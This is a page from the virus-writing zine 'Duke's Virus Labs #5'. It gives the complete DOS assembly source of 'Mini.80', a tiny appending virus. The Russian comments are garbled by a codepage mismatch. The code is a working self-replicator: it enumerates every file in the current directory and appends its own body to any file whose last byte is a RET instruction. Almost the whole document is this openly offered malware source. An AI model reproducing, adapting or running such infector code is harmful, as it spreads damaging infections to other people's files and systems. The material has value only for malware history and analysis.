- [Duke's Virus Labs #5] - [Page 17] -

Mini.80
(c) by Duke/SMF

     : Mini.80
         : Duke/SMF
 ண.   : Turbo Assembler
 ᮧ : 17.02.99

   饭 ਠ  Mini.90 - ࠭ 譨 push/pop.  
 ᮤন ॣ஢  ࠡ    襭.  
ࠡᯮᮡ  稬      :)

===== Cut here =====
; Mini.80 by Duke/SMF
;
; 쪮 ।஢ ਠ  Mini.90
;   , 室騥  ॣ.    ,
;   ࠧ .   .
;
; ࠦ  䠩  ⥪饩 ४ਨ,
; ᫨   RET  ⢥ ᫥ .
; ⮬᪨  ஫  ୮ ࠦ :)



                model   tiny
                .code
                org     100h

start:
                call    $+3
OFFS:           pop     bp
                mov     ah,4Eh              ; ࢮ 䠩
                lea     dx,bp[file_spec-OFFS]

search:
                int     21h
                jnc     infect_file         ; ᫨ 䠩 ,  ࠦ
                ret

infect_file:
                mov     ax,3D02h            ; 뢠 䠩  ⥭
                mov     dx,9Eh              ; DX 㪠뢠   䠩
                int     21h

                xchg    bx,ax               ; BX ᮤন 䠩 handle

                ;஢塞 稥 ret   䠩
                call    SeekToEnd           ; ᬥ頥  

                mov     ah,3fh              ; ,  ⠬ ⮨
                mov     cx,1
                lea     dx,bp[buffer-OFFS]
                int     21h

                mov     al,1                ;  ⠥ ᫥ 
buffer          equ     $-1
                cmp     al,0C3h             ; ret
                jne     Next                ; ᫨  ret,   Next

                call    SeekToEnd           ; ᬥ頥  
                mov     ah,40h              ; 㭪   䠩
                mov     cx,finish-start     ; CL = ᪮쪮  
                                            ; .. ch 뫮 ff
                lea     dx,bp[start-OFFS]
                int     21h

Next:
                mov     ah,3Eh              ; 뢠 䠩
                int     21h

                mov     ah,4Fh              ;  ᫥饣 䠩
                jmp     search              ; 室  ࠦ
;-------------------------------------------
SeekToEnd:
                mov     ax,4202h            ; 㭪 ᬥ饭 㪠⥫
                                            ;   
                xor     cx,cx
                dec     cx
                mov     dx,cx               ; ᬥ饭 = (-1)

                int     21h
                ret
;-------------------------------------------

; ᪮ ret      䠩,  
;   ᯮ짮  '*.*'

file_spec       db      '*.*',0             ;᪠ 䠩  ᪠

finish  :                                   ; 
                end     start
===== Cut here =====
